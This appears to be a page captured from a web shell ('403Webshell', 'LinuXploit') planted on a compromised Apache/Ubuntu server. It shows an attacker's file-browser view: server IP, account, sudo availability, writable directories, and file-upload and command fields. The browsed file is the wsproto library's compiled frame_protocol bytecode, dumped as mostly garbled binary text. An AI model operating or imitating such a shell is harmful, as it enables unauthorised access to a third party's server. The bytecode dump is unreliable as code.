403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.120
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3492927/root/lib/python3/dist-packages/wsproto/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/3492927/root/lib/python3/dist-packages/wsproto/__pycache__/frame_protocol.cpython-312.pyc
�

21ci[�	���dZddlZddlZddlmZmZddlmZddlm	Z	m
Z
mZmZm
Z
mZmZerddlmZed�D��cgc]�e�fd	�ed�D����c}ZGd
�d�ZGd�d
�ZdZdZdZdZdZeZdZdZdZdZ dZ!dZ"dZ#Gd�de�Z$Gd�de�Z%e%jLe%jNe%jPfZ)dZ*dZ+dZ,dZ-dZ.d Z/d!Z0d!Z1ejdd"d�Z3Gd#�d$e4�Z5Gd%�d&e�Z6Gd'�d(e�Z7Gd)�d*e�Z8d+ed,e9d-efd.�Z:Gd/�d0�Z;Gd1�d2�Z<Gd3�d4�Z=Gd5�d6�Z>ycc}w)7zY
wsproto/frame_protocol
~~~~~~~~~~~~~~~~~~~~~~

WebSocket frame protocol implementation.
�N)�getincrementaldecoder�IncrementalDecoder)�IntEnum)�	Generator�List�
NamedTuple�Optional�Tuple�
TYPE_CHECKING�Union�)�	Extension�c3�(�K�|]	}|�z���y�w�N�)�.0�a�bs  ��8/usr/lib/python3/dist-packages/wsproto/frame_protocol.py�	<genexpr>rs�����.�a�A��E�.�s�c�,�eZdZdeddfd�Zdedefd�Zy)�XorMaskerSimple�masking_key�returnNc��||_yr)�_masking_key)�selfrs  r�__init__zXorMaskerSimple.__init__s
��'����datac��|r�t|�}d�|jD�\}}}}|ddd�j|�|ddd�<|ddd�j|�|ddd�<|ddd�j|�|ddd�<|ddd�j|�|ddd�<t|�dz}|j|d|jd|z|_t	|�S|S)Nc3�.K�|]
}t|���y�wr)�
_XOR_TABLE)r�ns  rrz*XorMaskerSimple.process.<locals>.<genexpr>s����C�A�*�Q�-�C�s��r
��)�	bytearrayr�	translate�len�bytes)rr!�
data_arrayrr�c�d�key_rotations        r�processzXorMaskerSimple.processs���"�4��J�C��1B�1B�C�J�A�q�!�Q�(��1��o�7�7��:�J�s��s�O�)�!�$�Q�$�/�9�9�!�<�J�q�t�!�t��)�!�$�Q�$�/�9�9�!�<�J�q�t�!�t��)�!�$�Q�$�/�9�9�!�<�J�q�t�!�t���t�9�q�=�L��!�!�,�-�0�4�3D�3D�]�l�3S�S�
����$�$��r )�__name__�
__module__�__qualname__r,rr1rr rrrs(��(�E�(�d�(��E��e�r rc��eZdZdedefd�Zy)�
XorMaskerNullr!rc��|Srr�rr!s  rr1zXorMaskerNull.process.s���r N)r2r3r4r,r1rr rr6r6-s���E��e�r r6�~��}i��l������@� ��c�4�eZdZdZdZdZdZdZdZdZ	de
fd	�Zy
)�Opcodez7
    RFC 6455, Section 5.2 - Base Framing Protocol
    rr
r'��	�
rc��t|dz�S)NrC)�bool�rs r�	iscontrolzOpcode.iscontrol_s���D�4�K� � r N)r2r3r4�__doc__�CONTINUATION�TEXT�BINARY�CLOSE�PING�PONGrGrIrr rrBrBHs=���
�L��D��F�
�E��D��D�!�4�!r rBc�H�eZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZd
ZdZdZy)�CloseReasonz8
    RFC 6455, Section 7.4.1 - Defined Status Codes
    ��i�i�i�i�i�i�i�i�i�i�i�i�i�N)r2r3r4rJ�NORMAL_CLOSURE�
GOING_AWAY�PROTOCOL_ERROR�UNSUPPORTED_DATA�NO_STATUS_RCVD�ABNORMAL_CLOSURE�INVALID_FRAME_PAYLOAD_DATA�POLICY_VIOLATION�MESSAGE_TOO_BIG�
MANDATORY_EXT�INTERNAL_ERROR�SERVICE_RESTART�TRY_AGAIN_LATER�TLS_HANDSHAKE_FAILEDrr rrRrRcsn����N��J��N����N���"&����
�O��M�
�N��O��O� �r rRrSi�i�i�i�i�z!Ic�D��eZdZejfdededdf�fd�
Z�xZS)�ParseFailed�msg�coderNc�2��t�|�|�||_yr)�superrre)rrdre�	__class__s   �rrzParseFailed.__init__�s���	�������	r )r2r3r4rRrV�strr�
__classcell__)rhs@rrcrc�s.���,7�,F�,F����)��	
��r rcc�,�eZdZUeed<eed<eed<y)�RsvBits�rsv1�rsv2�rsv3N)r2r3r4rG�__annotations__rr rrlrl�s��
�J�
�J�
�Jr rlc�F�eZdZUeed<eed<eed<eed<ee	ed<y)�Header�fin�rsv�opcode�payload_lenrN)
r2r3r4rGrprlrB�intr	r,rr rrrrr�s!��	
�I�	�L��N����%�� r rrc�L�eZdZUeed<eeeee	effed<e
ed<e
ed<y)�Frameru�payload�frame_finished�message_finishedN)r2r3r4rBrprr,rir
rwrGrr rryry�s-���N�
�5�#�u�S�#�X��.�
/�/����r ryr!�nbytesrc�t�t|�|kr|S|d|}|jdd��jd�}|S)N�utf-8�ignore)�errors)r+�decode�encode)r!r}s  r�_truncate_utf8r��sD��
�4�y�F�������=�D��;�;�w�x�;�0�7�7��@�D��Kr c�v�eZdZd
deeddfd�Zdeddfd�Zdedefd�Zdedeefd	�Z	dd
�Z
dd�Zdefd�Zy)�BufferN�
initial_bytesrc�X�t�|_d|_|r|j|�yy�Nr)r)�buffer�
bytes_used�feed)rr�s  rrzBuffer.__init__�s&���k��������I�I�m�$�r �	new_bytesc�.�|xj|z
c_yr)r�)rr�s  rr�zBuffer.feeds�����y� �r r}c��|s
t�S|j|j|j|z}|xjt|�z
c_|Sr)r)r�r�r+)rr}r!s   r�consume_at_mostzBuffer.consume_at_mostsA����;���{�{�4�?�?�T�_�_�v�-E�F�����3�t�9�$���r c�p�t|j�|jz
|kry|j|�Sr)r+r�r�r�)rr}s  r�consume_exactlyzBuffer.consume_exactlys0���t�{�{��d�o�o�-��6���#�#�F�+�+r c�D�|jd|j�=d|_yr�)r�r�rHs r�commitz
Buffer.commits���K�K�)�$�/�/�)�*���r c��d|_yr�)r�rHs r�rollbackzBuffer.rollbacks	����r c�,�t|j�Sr)r+r�rHs r�__len__zBuffer.__len__s���4�;�;��r r�rN)
r2r3r4r	r,rr�rwr�r�r�r�r�rr rr�r��sl��%�h�u�o�%��%�!�e�!��!��c��e��,�c�,�h�u�o�,��
� �� r r�c�$�eZdZdd�Zdedefd�Zy)�MessageDecoderrNc� �d|_d|_yr)ru�decoderrHs rrzMessageDecoder.__init__"s��(,���59��r �framec�V�|jj�rJ�|j�9|jtjurt	d��|j|_n4|jtjurt	d|jz��|jtj
urt
d��|_|jxr|j}|j�
|j}nIt|jttf�sJ�	|jj|j|�}t'|j||j|�}|rd|_d|_|S#t$r(}t	t!|�t"j$��d}~wwxYw)Nzunexpected CONTINUATIONzexpected CONTINUATION, got %rr)rurIrBrKrcrLrr�r{r|rz�
isinstancer,r)r��UnicodeDecodeErrorrirRrZry)rr��finishedr!�excs     r�
process_framezMessageDecoder.process_frame&sS���<�<�)�)�+�+�+��;�;���|�|�v�2�2�2�!�";�<�<��,�,�D�K�
�\�\��!4�!4�
4��=����L�M�M��<�<�6�;�;�&�9�0��9�;�D�L��'�'�B�E�,B�,B���<�<���=�=�D��e�m�m�e�Y�-?�@�@�@�
T��|�|�*�*�5�=�=�(�C���d�k�k�4��)=�)=�x�H����D�K��D�L����&�
T�!�#�c�(�K�,R�,R�S�S��
T�s�&E7�7	F(�#F#�#F(r�)r2r3r4rryr�rr rr�r�!s��:��5��U�r r�c��eZdZ	ddedeedddfd�Zdeddfd�Zdee	fd	�Z
defd
�Zdede
dee
fd
�Zdedede
ddfd�Zy)�FrameDecoderN�client�
extensionsrrc��||_|xsg|_t�|_d|_d|_d|_d|_d|_yr�)	r�r�r�r��header�effective_opcode�masker�payload_required�payload_consumed)rr�r�s   rrzFrameDecoder.__init__HsF�����$�*�����h���(,���26���CG��� !��� !��r r!c�:�|jj|�yr)r�r�r8s  r�
receive_byteszFrameDecoder.receive_bytesVs��������r c��|js|j�sy|j�J�|j�J�|j�J�t	|j
�|jkry|jj|jz
}|j
j|�}|s|jjdkDry|j
j�|xjt	|�z
c_|j|jjk(}|jj|�}|jD]2}|j||�}t|t�rt!d|��|}�4|rjt#�}|jD]L}|j%||jj&�}t|t�rt!d|��|��H||z
}�N||z
}t)|j|||jj&�}|rd|_d|_d|_|St*j,|_|S)Nr�error in extension)r��parse_headerr�r�r+r�r�rvr�r�r�r1r��frame_inbound_payload_datar�rRrcr)�frame_inbound_completersryrBrK)	r�payload_remainingrzr��	extension�payload_�final�resultr�s	         r�process_bufferzFrameDecoder.process_bufferYs����{�{��$�$�&���{�{�&�&�&��{�{�&�&�&��$�$�0�0�0��t�{�{��d�3�3�3�� �K�K�3�3�d�6K�6K�K���+�+�-�-�.?�@���4�;�;�2�2�Q�6������������W��-���(�(�D�K�K�,C�,C�C���+�+�%�%�g�.�����	�I� �;�;�D�'�J�H��(�K�0�!�"6��A�A��G�		���K�E�!�_�_�
$�	�"�9�9�$������P���f�k�2�%�&:�F�C�C��%��V�O�E�
$�
�u��G��d�+�+�W�h������P����D�K�$(�D�!��D�K���%+�$7�$7�D�!��r c��|jjd�}|�|jj�yt|dtz�}tt|dtz�t|dtz�t|dtz��}|dtz}	t|�}|j�r
|std��t|dtz�}|dtz}|j!||�}|�|jj�y|j#|||�|r|j$rtd��|s|j$std	��|rI|jjd
�}|�|jj�yt'|�|_nt+�|_|jj-�t/||||d�|_|j0j2|_|j0j2j�r||_d|_yd|_d|_y#t$rtd|d����wxYw)Nr'FrzInvalid opcode z#xz)Invalid attempt to fragment control framer
z'client received unexpected masked framez)server received unexpected unmasked framer&T)r�r�r�rG�FIN_MASKrl�	RSV1_MASK�	RSV2_MASK�	RSV3_MASK�OPCODE_MASKrB�
ValueErrorrcrI�	MASK_MASK�PAYLOAD_LEN_MASK�parse_extended_payload_length�extension_processingr�rr�r6r�rrr�rur�r�r�)	rr!rsrtru�has_mask�payload_len_shortrvrs	         rr�zFrameDecoder.parse_header�s$���{�{�*�*�1�-���<��K�K� � �"���4��7�X�%�&�����a��9�$�%���a��9�$�%���a��9�$�%�
��
�a��;�&��	=��F�^�F�����c��I�J�J���Q��)�+�,�� ��G�&6�6���8�8��AR�S�����K�K� � �"���!�!�&�#�{�;������G�H�H������I�J�J���+�+�5�5�a�8�K��"����$�$�&��)�+�6�D�K�'�/�D�K��������S�#�v�{�D�A��� $��� 2� 2����;�;���'�'�)�$/�D�!�!"����%&�D�!� !�����I�	=����r�{�;�<�<�	=�s�!I�Irurvc��|j�r|tkDrtd��|tk(rL|jjd�}|�yt
jd|�\}|tkrtd��|S|tk(rZ|jjd�}|�yt
jd|�\}|tkrtd��|dz	rtd	��|S)
Nz$Control frame with payload len > 125r'�!Hz6Payload length used 2 bytes when 1 would have sufficedrC�!Qz6Payload length used 8 bytes when 2 would have sufficed�?z'8-byte payload length with non-zero MSB)
rI�MAX_PAYLOAD_NORMALrc�PAYLOAD_LENGTH_TWO_BYTEr�r��struct�unpack�PAYLOAD_LENGTH_EIGHT_BYTE�MAX_PAYLOAD_TWO_BYTE)rrurvr!s    rr�z*FrameDecoder.parse_extended_payload_length�s�������+�0B�"B��D�E�E��1�1��;�;�.�.�q�1�D��|��#�]�]�4��6�N�[��0�0�!�L���"���5�
5��;�;�.�.�q�1�D��|��#�]�]�4��6�N�[��2�2�!�L����b� �"�"K�L�L��r rtc��gd�}|jD]M}|j||||�}t|t�rt	d|��t|�D]
\}}|s�	d||<��Ot
||�D]\}	}
|
s�	|	r�t	d��y)N)FFFr�TzReserved bit set unexpectedly)r��frame_inbound_headerr�rRrc�	enumerate�zip)rrurtrv�rsv_usedr�r��bit�used�expected�founds           rr�z!FrameDecoder.extension_processing�s���)�����	)�I��3�3�D�&�#�{�S�F��&�+�.�!�"6��?�?�&�v�.�
)�	��T��$(�H�S�M�
)�		)� #�8�S�1�	C�O�H�e��X�!�"A�B�B�	Cr r)r2r3r4rGr	rrr,r�ryr�r�rBrwr�rlr�rr rr�r�Gs���FJ�"��"�(0��k�1B�(C�"�	
�"��%��D��0����0�d3�d�3�j���+.��	�#���<
C��
C�#*�
C�9<�
C�	
�
Cr r�c	��eZdZdededddfd�Zdedefd�Zdee	eddffd	�Z
d
eddfd�Zdeeddffd�Z
dd
e	ede	edefd�Zddedefd�Zddedefd�Z	ddeeeefdedefd�Zdedededefd�Z	ddedededefd�Zy)�
FrameProtocolr�r�rrNc��||_|D�cgc]}|j�s�|��c}|_t|j|j�|_t�|_|j�|_d|_	ycc}wr)
r��enabledr�r��_frame_decoderr��_message_decoder�_parse_more_gen�_parse_more�_outbound_opcode)rr�r��exts    rrzFrameProtocol.__init__�sf�����*4�F�3����
�3�F���+�4�;�;����H��� .� 0����/�/�1���26����Gs
�A?�A?r�c��|j}t|ttf�sJ�|stj
df}n�t
|�dk(rtd��tjd|dd�\}|tks	|tkDrtd��	t	|�}|tvrtd��t|t�s|tkrtd��	|ddjd	�}||f}t'|j(||j*|j,�S#t$rY��wxYw#t $r+}td
t#|�ztj$��d}~wwxYw)N�r
zCLOSE with 1 byte payloadr�r'zCLOSE with invalid codez#remote CLOSE with local-only reasonz CLOSE with unknown reserved coderzError decoding CLOSE reason: )rzr�r,r)rRrXr+rcr�r��MIN_CLOSE_REASON�MAX_CLOSE_REASONr��LOCAL_ONLY_CLOSE_REASONS�MAX_PROTOCOL_CLOSE_REASONr�r�rirZryrur{r|)rr�r!re�reasonr�s      r�_process_closezFrameProtocol._process_close�sQ���}�}���$��	� 2�3�3�3�� �.�.��3�D�
��Y�!�^��9�:�:��m�m�D�$�r��(�3�G�T��&�&�$�1A�*A�!�";�<�<�
�"�4�(���/�/�!�"G�H�H��d�K�0�T�=V�5V�!�"D�E�E�
��a�b�����1���&�>�D��U�\�\�4��)=�)=�u�?U�?U�V�V���
��
��&�
�!�3�c�#�h�>��:�:����
�s*�D�D"�	D�D�"	E�+&E�Ec#�K�|jD�cgc]}|j�s�|��c}|_d}|s�|jj�}|�f|jj�s|jj|�}n0|jtjk(r|j|�}d}|��|s��yycc}w�w)NFT)r�r�r�r�rurIr�r�rBrNr�)rr��closedr�s    rr�zFrameProtocol._parse_more_gens�����+/�/�/�K�3�S�[�[�]�3�K�������'�'�6�6�8�E�� ��|�|�-�-�/� �1�1�?�?��F�E��\�\�V�\�\�1� �/�/��6�E�!�F��K���L�s�C�C�C�BC�Cr!c�:�|jj|�yr)r�r�r8s  rr�zFrameProtocol.receive_bytes0s�����)�)�$�/r c#�>K�|jD]
}|�y|���y�wr)r�)r�events  r�received_frameszFrameProtocol.received_frames3s(�����%�%�	�E��}����		�s�rer�c�b�t�}|tjurd}|�
|rtd��|tvrtj
}|�I|tt
jd|��z
}|�%|t|jd�tdz
�z
}|jtj|�S)Nz&cannot specify a reason without a coder�rr')r)rRrX�	TypeErrorr�rTr��packr�r�r��_serialize_framerBrN)rrer�rzs    r�closezFrameProtocol.close:s����+���;�-�-�-��D��<�F��D�E�E��+�+��-�-�D����y����T�4�!8�9�9�G��!��>��M�M�'�*�,>��,B�����$�$�V�\�\�7�;�;r rzc�B�|jtj|�Sr)r�rBrO�rrzs  r�pingzFrameProtocol.pingK����$�$�V�[�[�'�:�:r c�B�|jtj|�Sr)r�rBrPr�s  r�pongzFrameProtocol.pongNr�r rsc��t|tttf�rtj
}n=t|t�r"tj}|jd�}ntd��|j�||_
n)|j|urtd��tj}|rd|_
|j|||�S)NrzMust provide bytes or textz!Data type mismatch inside message)r�r,r)�
memoryviewrBrMrirLr�r�r�r�rKr�)rrzrsrus    r�	send_datazFrameProtocol.send_dataQs����g��y�*�=�>��]�]�F�
���
%��[�[�F��n�n�W�-�G��9�:�:�� � �(�$*�D�!�
�
"�
"�&�
0��?�@�@��(�(�F��$(�D�!��$�$�V�W�c�:�:r rtruc���t|�dz}t|j�dzt|j�dzzt|j�dzz}t|�}||z|zS)N���r&)rwrmrnro)rrsrtru�fin_bits�rsv_bits�opcode_bitss       r�_make_fin_rsv_opcodez"FrameProtocol._make_fin_rsv_opcodehs_���s�8�q�=������M�Q�&�3�s�x�x�=�A�+=�>�#�c�h�h�-�ST�BT�U���&�k���(�"�[�0�0r c��tddd�}t|j�D]}|j|||||�\}}�|j	|||�}t|�}d}|tkr|}	d}
n|tkr	t}	|}
n
t}	|}
d}|jr|	dz}	t||	g�}|
�b|j�rtd��|r#|ttjd|
��z
}n"|ttjd|
��z
}|jr7t!j"d�}t%|�}
||z|
j'|�zS||zS)NFTr<z"payload too long for control framer�r�r&)rl�reversedr��frame_outboundr	r+r�r�r�r�r�r)rIr�r�r��os�urandomrr1)rrurzrsrtr��fin_rsv_opcode�payload_length�quad_payload�
first_payload�second_payloadr�rr�s              rr�zFrameProtocol._serialize_frameos[���e�U�E�*��!�$�/�/�2�	U�I�$�3�3�D�&�#�w�PS�T�L�C��	U��2�2�3��V�D���W������/�/�*�M�!�N�
�3�
3�3�M�+�N�5�M�+�N��L��;�;��V�#�M��N�M�:�;���%����!� �!E�F�F���)�F�K�K��n�$E�F�F���)�F�K�K��n�$E�F�F���;�;��*�*�Q�-�K�$�[�1�F��K�'�&�.�.��*A�A�A����r )NN)r )r T)r2r3r4rGrrryr�rr	r�r,r�r�rwrir�r�r�rr)rrlrBr	r�rr rr�r��sE��	7�t�	7��k�1B�	7�t�	7�W�E�W�e�W�B��8�E�?�D�$�+F�!G��*0�%�0�D�0���5�$��+<�!=��<�(�3�-�<���
�<�QV�<�";�E�;�E�;�;�E�;�E�;�HL�;��U�I�s�2�3�;�@D�;�	�;�.1��1�7�1�F�1�s�1�AE�2 ��2 �',�2 �9=�2 �	�2 r r�)?rJr
r��codecsrr�enumr�typingrrrr	r
rrr�r�ranger,r$rr6r�r�r�r��MAX_PAYLOAD_EIGHT_BYTE�MAX_FRAME_PAYLOADr�r�r�r�r�r�r�rBrRrXrYrar�r��MIN_PROTOCOL_CLOSE_REASONr��MIN_LIBRARY_CLOSE_REASON�MAX_LIBRARY_CLOSE_REASON�MIN_PRIVATE_CLOSE_REASON�MAX_PRIVATE_CLOSE_REASONr�r��	NULL_MASK�	Exceptionrcrlrrryrwr�r�r�r�r�)rspr�<module>r!s�����
�
�<��U�U�U��%�9>�c�
�
C�1�e�.�5��:�.�.�
C�
���0�������� ��"��*��
�	������	��	��	���!�W�!�6T �'�T �r���� � ��$�$����� �� ������������
�F�K�K��a� �	��)���j��!�Z�!��J��
��
��
��
� ! �! �H#�#�LdC�dC�Ns �s ��yDs�E	

Youez - 2016 - github.com/yon3zu
LinuXploit